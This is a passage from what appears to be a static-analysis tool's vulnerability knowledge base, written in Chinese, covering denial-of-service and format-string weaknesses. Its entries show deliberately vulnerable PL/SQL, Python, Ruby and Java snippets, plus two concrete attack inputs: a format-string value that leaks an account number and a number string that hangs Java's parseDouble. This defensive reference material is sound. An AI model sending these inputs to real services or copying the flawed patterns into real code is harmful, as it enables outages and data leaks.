[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定系統延遲處理程序的時間長度。若指定較大的數字,攻擊者可能無限期地佔用系統。


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.sql.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者可以對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的瑕疵是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。這些瑕疵可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者為 connect 函數指定連線逾時的持續時間。若指定較大的數字,攻擊者可無限期地佔用 connect 函數。


...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}

mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定執行緒進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用執行緒。因此,僅需要少數要求,攻擊者就可能耗盡應用程式的執行緒池。


Kernel.sleep(user_input)
範例 2:以下程式碼會從檔案中讀取字串。因為它使用 readline() 方法,且無需指定限制,所以它會讀取大量的輸入。攻擊者可能利用此程式碼使程序暫停,同時耗用越來越多的記憶體,直到可能完全耗盡記憶體。


fd = File.new(myFile)
line = fd.readline
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service
Abstract
允許使用者輸入以控制格式參數,可讓攻擊者能夠使系統拋出異常或洩漏資訊。
Explanation
攻擊者也許能夠修改 Format String 引數,使系統拋出異常。如果此異常處於未捕捉到的狀態,則可能使應用程式當機。或者,如果在其他引數中使用了敏感資訊,攻擊者便可能變更 Format String 以擷取此資訊。

範例 1:以下程式碼允許使用者指定 Formatter.format() 的 Format String 引數。


...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...


此程式的目的是讓使用者指定其顯示餘額的小數點。但事實上,對於這點,並沒有任何限制。如果使用者可指定任何內容,將可能導致異常,例如拋出 java.util.MissingFormatArgumentException,由於這不在 try 區塊中,所以可能導致應用程式失敗。
在此範例中,更嚴重的是,如果攻擊者可指定使用者輸入「2f %3$s %4$.2」,則 Format String 將會是「The customer: %s %s has the balance %4$.2f %3$s %4$.2」。然後,這將會導致敏感的 accountNo 包含到產生的字串中。
References
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[7] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - OWASP Top 10 2017 A1 Injection
[13] Standards Mapping - OWASP Top 10 2021 A03 Injection
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[47] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_format_string
Abstract
程式會呼叫一種方法來解析 double,還可能使得執行緒暫停。
Explanation
java.lang.Double.parseDouble() 和相關方法的實作有一個弱點,可能會在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] 範圍中的任何數字時造成執行緒暫停。這個瑕疵可以用來執行阻斷服務 (DoS) 攻擊。

範例 1:下列程式碼使用易受攻擊的方法。

Double d = Double.parseDouble(request.getParameter("d"));


攻擊者可能會在參數 d 是範圍中的數值時 (例如 "0.0222507385850720119e-00306") 傳送要求,以造成程式在處理要求時暫停。

此弱點存在於 Java 第 6 版第 23 號更新及更舊版本中。Java 第 6 版第 24 號更新及更新版本中不存在此問題。
References
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - Common Weakness Enumeration CWE ID 400
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [20] CWE ID 400
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [23] CWE ID 400
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [23] CWE ID 400
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [24] CWE ID 400
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[11] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
